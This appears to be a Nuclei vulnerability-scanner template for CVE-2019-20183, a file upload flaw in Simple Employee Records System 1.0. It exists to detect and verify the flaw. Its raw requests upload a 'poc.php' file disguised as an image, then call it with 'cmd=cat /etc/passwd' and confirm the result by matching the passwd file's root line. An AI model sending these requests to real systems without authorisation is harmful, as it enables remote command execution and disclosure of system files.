id: CVE-2019-20183 info: name: Simple Employee Records System 1.0 - Unrestricted File Upload author: pikpikcu severity: high description: | Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution. reference: - https://www.exploit-db.com/exploits/49596 - https://medium.com/@Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34 - https://nvd.nist.gov/vuln/detail/CVE-2019-20183 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2019-20183 cwe-id: CWE-434 cpe: cpe:2.3:a:employee_records_system_project:employee_records_system:*:*:*:*:*:*:*:* epss-score: 0.02791 tags: edb,cve,cve2019,rce,intrusive,fileupload metadata: max-request: 2 http: - raw: - | POST /dashboard/uploadID.php HTTP/1.1 Host: {{Hostname}} Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337 -----------------------------5825462663702204104870787337 Content-Disposition: form-data; name="employee_ID"; filename="poc.php" Content-Type: image/png -----------------------------5825462663702204104870787337-- - | GET /uploads/employees_ids/{{endpoint}}?cmd=cat%20/etc/passwd HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: endpoint part: body internal: true regex: - '(?:[a-zA-Z0-9+\/])*_poc.php' matchers: - type: regex part: body regex: - "root:.*:0:0:" condition: and # Enhanced by mp on 2022/06/17